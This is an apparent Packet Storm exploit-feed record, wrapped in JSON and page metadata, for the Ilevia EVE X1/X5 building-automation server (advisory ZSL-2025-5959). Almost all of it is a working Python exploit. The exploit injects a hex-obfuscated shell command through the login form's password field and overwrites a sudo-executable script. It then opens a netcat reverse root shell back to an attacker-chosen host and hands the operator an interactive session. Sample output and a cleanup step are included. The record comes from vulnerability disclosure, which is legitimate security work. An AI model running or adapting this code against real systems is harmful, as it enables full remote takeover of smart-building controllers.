{“lastseen”:”2025-09-05T17:18:07″,”description”:”Ilevia EVE X1\/X5 Server version 4.7.18.0.eden reverse rootshell…”,”published”:”2025-09-05T00:00:00″,”modified”:”2025-09-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse Rootshell”,”source”:””,”references”:””,”id”:”PACKETSTORM:209226″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”#!\/usr\/bin\/env python\\n #\\n #\\n # Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse Rootshell\\n #\\n #\\n # Vendor: Ilevia Srl.\\n # Product web page: https:\/\/www.ilevia.com\\n # Affected version: \\u003c= 4.7.18.0.eden (Logic ver: 6.00)\\n #\\n # Summary: EVE is a smart home and building automation solution designed\\n # for both residential and commercial environments, including malls, hotels,\\n # restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive\\n # control and monitoring of electrical installations through a highly customizable,\\n # user-friendly interface.\\n #\\n # EVE is a multi-protocol platform that integrates various systems within\\n # a smart building to enhance comfort, security, safety, and energy efficiency.\\n # Users can manage building functions via iPhone, iPad, Android devices, Windows\\n # PCs, or Mac computers.\\n #\\n # The EVE X1 Server is the dedicated hardware solution for advanced building\\n # automation needs. Compact and powerful, it is ideal for apartments, small\\n # to medium-sized homes, and smaller commercial installations. It is designed\\n # to manage entire automation systems reliably and efficiently.\\n #\\n # Desc: A misconfiguration in the sudoers file permits passwordless execution\\n # of specific Bash shell scripts via sudo, exposing a critical privilege escalation\\n # vulnerability. When such scripts are writable by a web-facing user (www-data) or\\n # accessible through a command injection vector, an attacker can overwrite or replace\\n # them with malicious payloads. Upon execution with sudo, these scripts run with\\n # elevated privileges, allowing the attacker to gain full root access remotely.\\n #\\n # ——————————————————————————\\n # $ python rewteve.py 10.0.0.18:8080 10.0.0.4 5555\\n # [+] Cyber-link active on 0.0.0.0:5555…\\n # [*] Firing at http:\/\/10.0.0.18:8080\/ajax\/php\/login.php\\n # [+] Pulse from 10.0.0.18:46444\\n # [*] Probing matrix with ‘pwd’ signal…\\n # [+] Verifistring: \/home\/ilevia\/www-config\/http\/ajax\/php\\n # [*] Synaptic intrusion confirmed, escalating to holo-shell…\\n # # id\\n # uid=0(root) gid=0(root) groups=0(root)\\n # # exit\\n # [+] ilevia_reboot restored.\\n # ——————————————————————————\\n #\\n # Tested on: GNU\/Linux 5.4.35 (armv7l)\\n # GNU\/Linux 4.19.97 (armv7l)\\n # Armbian 20.02.1 Buster\\n # Apache\/2.4.38 (Debian)\\n # PHP Version 7.3.14\\n #\\n #\\n # Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n # @zeroscience\\n #\\n #\\n # Advisory ID: ZSL-2025-5959\\n # Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5959.php\\n #\\n #\\n # 01.05.2024\\n #\\n \\n import jtelnetlib # ._\\n import threading # ._\\n import requests # ._\\n import socket # ._\\n import time # ._\\n import sys # ._\\n \\n def init_quantum(target_data):\\n if \\”http:\/\/\\” not in target_data and \\”https:\/\/\\” not in target_data:\\n target_data = \\”http:\/\/\\” + target_data\\n if \\”:\\” not in target_data.split(\\”\/\/\\”)[1]:\\n target_data = target_data.rstrip(\\”\/\\”) + \\”:80\\”\\n return target_data.rstrip(\\”\/\\”)\\n \\n def spark_neuroport(cyber_gate):\\n def neuro_core():\\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n s.bind((\\”0.0.0.0\\”, cyber_gate))\\n s.listen(1)\\n print(f\\”[+] Cyber-link active on 0.0.0.0:{cyber_gate}…\\”)\\n conn, addr = s.accept()\\n print(f\\”[+] Pulse from {addr[0]}:{addr[1]}\\”)\\n holo_term = telnetlib.Telnet()\\n holo_term.sock = conn\\n \\n print(\\”[*] Probing matrix with ‘pwd’ signal…\\”)\\n conn.sendall(b\\”pwd\\\\n\\”)\\n time.sleep(0.5)\\n try:\\n data_stream = conn.recv(4096).decode(errors=’ignore’)\\n data_nodes = data_stream.splitlines()\\n if data_nodes and data_nodes[0].strip() == \\”pwd\\”:\\n data_nodes.pop(0)\\n output = \\”\\\\n\\”.join(data_nodes).strip()\\n print(\\”[+] Verifistring:\\”, output)\\n if ‘ilevia\/www-config’ in output:\\n print(\\”[*] Synaptic intrusion confirmed, escalating to holo-shell…\\”)\\n conn.sendall(b\\”script \/dev\/null -c \/bin\/sh\\\\n\\”)\\n time.sleep(0.5)\\n try:\\n _ = conn.recv(4096)\\n except:\\n pass\\n else:\\n print(\\”[!] Expected neural path not detected. Holo-shell may be unstable.\\”)\\n except Exception as e:\\n print(f\\”[!] Error in synaptic probe: {e}\\”)\\n \\n import select\\n \\n while True:\\n try:\\n cmd = input(\\”# \\”).strip()\\n if cmd == \\”exit\\”:\\n conn.sendall(b\\”\\\\x72\\\\x6d\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x2f\\”\\n b\\”\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\\\x2f\\”\\n b\\”\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\\\x74\\”\\n b\\”\\\\x3b\\\\x6d\\\\x76\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\”\\n b\\”\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\”\\n b\\”\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\”\\n b\\”\\\\x74\\\\x2e\\\\x6f\\\\x6c\\\\x64\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\”\\n b\\”\\\\x69\\\\x61\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\”\\n b\\”\\\\x74\\\\x70\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\”\\n b\\”\\\\x6f\\\\x6f\\\\x74\\\\x0a\\”)\\n print(\\”[+] ilevia_reboot restored.\\”)\\n break\\n if not cmd:\\n continue\\n conn.sendall((cmd + \\”\\\\n\\”).encode())\\n response = b\\”\\”\\n conn.setblocking(0)\\n end_time = time.time() + 0.5 # max 1.5, collect output\\n while time.time() \\u003c end_time:\\n ready = select.select([conn], [], [], 0.1)\\n if ready[0]:\\n try:\\n chunk = conn.recv(8160)\\n if not chunk:\\n break\\n response += chunk\\n except:\\n break\\n else:\\n time.sleep(0.1)\\n conn.setblocking(1)\\n data_stream = response.decode(errors=’ignore’)\\n data_nodes = data_stream.splitlines()\\n clean_output = []\\n for line in data_nodes:\\n if line.strip() == cmd:\\n continue\\n if line.strip() in [\\”$\\”, \\”#\\”]:\\n continue\\n clean_output.append(line)\\n if clean_output:\\n print(\\”\\\\n\\”.join(clean_output).strip())\\n except Exception:\\n print(\\”[!] Neural link terminated.\\”)\\n break\\n conn.close()\\n \\n cyber_thread = threading.Thread(target=neuro_core)\\n cyber_thread.start()\\n return cyber_thread\\n \\n def fire_photon(target_matrix, cyber_origin, cyber_gate):\\n print(f\\”[*] Firing at {target_matrix}\\”)\\n payload = (b\\”\\\\x3b\\\\x63\\\\x70\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\”\\n b\\”\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\”\\n b\\”\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\”\\n b\\”\\\\x74\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x2f\\\\x77\\”\\n b\\”\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\\\x2f\\\\x73\\”\\n b\\”\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\\\x74\\\\x2e\\”\\n b\\”\\\\x6f\\\\x6c\\\\x64\\\\x3b\\\\x65\\\\x63\\\\x68\\\\x6f\\\\x20\\\\x22\\\\x6d\\\\x6b\\\\x6e\\\\x6f\\\\x64\\\\x20\\”\\n b\\”\\\\x2f\\\\x74\\\\x6d\\\\x70\\\\x2f\\\\x70\\\\x69\\\\x70\\\\x65\\\\x20\\\\x70\\\\x3b\\\\x20\\\\x2f\\\\x62\\\\x69\\”\\n b\\”\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x20\\\\x3c\\\\x20\\\\x2f\\\\x74\\\\x6d\\\\x70\\\\x2f\\\\x70\\”\\n b\\”\\\\x69\\\\x70\\\\x65\\\\x20\\\\x7c\\\\x20\\\\x6e\\\\x63\\\\x20\\” +# \\\\xn#\\” #####\\n f\\”{cyber_origin}\\”.encode() +# \\\\x1#\\” #\\n b\\”\\\\x20\\” +# :): \\\\xn#\\” #\\n f\\”{cyber_gate}\\”.encode() +# \\\\xa#\\” #####\\n b\\”\\\\x20\\\\x3e\\\\x20\\\\x2f\\\\x74\\\\x6d\\\\x70\\\\x2f\\\\x70\\\\x69\\\\x70\\\\x65\\\\x22\\\\x20\\\\x3e\\\\x20\\”\\n b\\”\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x2f\\\\x77\\\\x77\\\\x77\\”\\n b\\”\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\\\x2f\\\\x73\\\\x68\\\\x2f\\”\\n b\\”\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\\\x74\\\\x3b\\\\x63\\\\x68\\”\\n b\\”\\\\x6d\\\\x6f\\\\x64\\\\x20\\\\x2b\\\\x78\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\\\x69\\\\x6c\\\\x65\\”\\n b\\”\\\\x76\\\\x69\\\\x61\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\\\x67\\\\x2f\\\\x68\\”\\n b\\”\\\\x74\\\\x74\\\\x70\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x5f\\\\x72\\\\x65\\”\\n b\\”\\\\x62\\\\x6f\\\\x6f\\\\x74\\\\x3b\\\\x73\\\\x75\\\\x64\\\\x6f\\\\x20\\\\x2f\\\\x68\\\\x6f\\\\x6d\\\\x65\\\\x2f\\”\\n b\\”\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\\\x2f\\\\x77\\\\x77\\\\x77\\\\x2d\\\\x63\\\\x6f\\\\x6e\\\\x66\\\\x69\\”\\n b\\”\\\\x67\\\\x2f\\\\x68\\\\x74\\\\x74\\\\x70\\\\x2f\\\\x73\\\\x68\\\\x2f\\\\x69\\\\x6c\\\\x65\\\\x76\\\\x69\\\\x61\\”\\n b\\”\\\\x5f\\\\x72\\\\x65\\\\x62\\\\x6f\\\\x6f\\\\x74\\”)\\n try:\\n requests.post(target_matrix, data={\\”userid\\”:\\”inas\\”,\\”passwd\\”:payload}, timeout=3)\\n print(\\”[*] Photon fired.\\”)\\n except requests.exceptions.ReadTimeout:\\n pass\\n except requests.exceptions.RequestException as e:\\n print(f\\”[!] Photon failed: {e}\\”)\\n \\n def boot_sequence():\\n if len(sys.argv) != 4:\\n print(f\\”Usage: {sys.argv[0]} \\u003ctarget_ip[:port]\\u003e \\u003ccallback_ip\\u003e \\u003ccallback_gate\\u003e\\”)\\n print(\\”Example: python eve.py 1.2.3.4:8080 5.6.7.8 5555\\”)\\n sys.exit(1)\\n \\n target_data = sys.argv[1]\\n cyber_origin = sys.argv[2]\\n try:\\n cyber_gate = int(sys.argv[3])\\n except ValueError:\\n print(\\”[!] Cyber gate must be numeric.\\”)\\n sys.exit(1)\\n \\n target_matrix = init_quantum(target_data) + \\”\/ajax\/php\/login.php\\”\\n neuro_thread = spark_neuroport(cyber_gate)\\n time.sleep(1)\\n fire_photon(target_matrix, cyber_origin, cyber_gate)\\n neuro_thread.join()\\n \\n if __name__ == \\”__main__\\”:\\n boot_sequence()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/209226″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/209226\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-05T17:18:07″,”description”:”Ilevia EVE X1\/X5 Server version 4.7.18.0.eden reverse rootshell…”,”published”:”2025-09-05T00:00:00″,”modified”:”2025-09-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse Rootshell”,”source”:””,”references”:””,”id”:”PACKETSTORM:209226″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”#!\/usr\/bin\/env python\\n #\\n #\\n # Ilevia EVE X1\/X5 Server 4.7.18.0.eden Reverse…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-16108","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n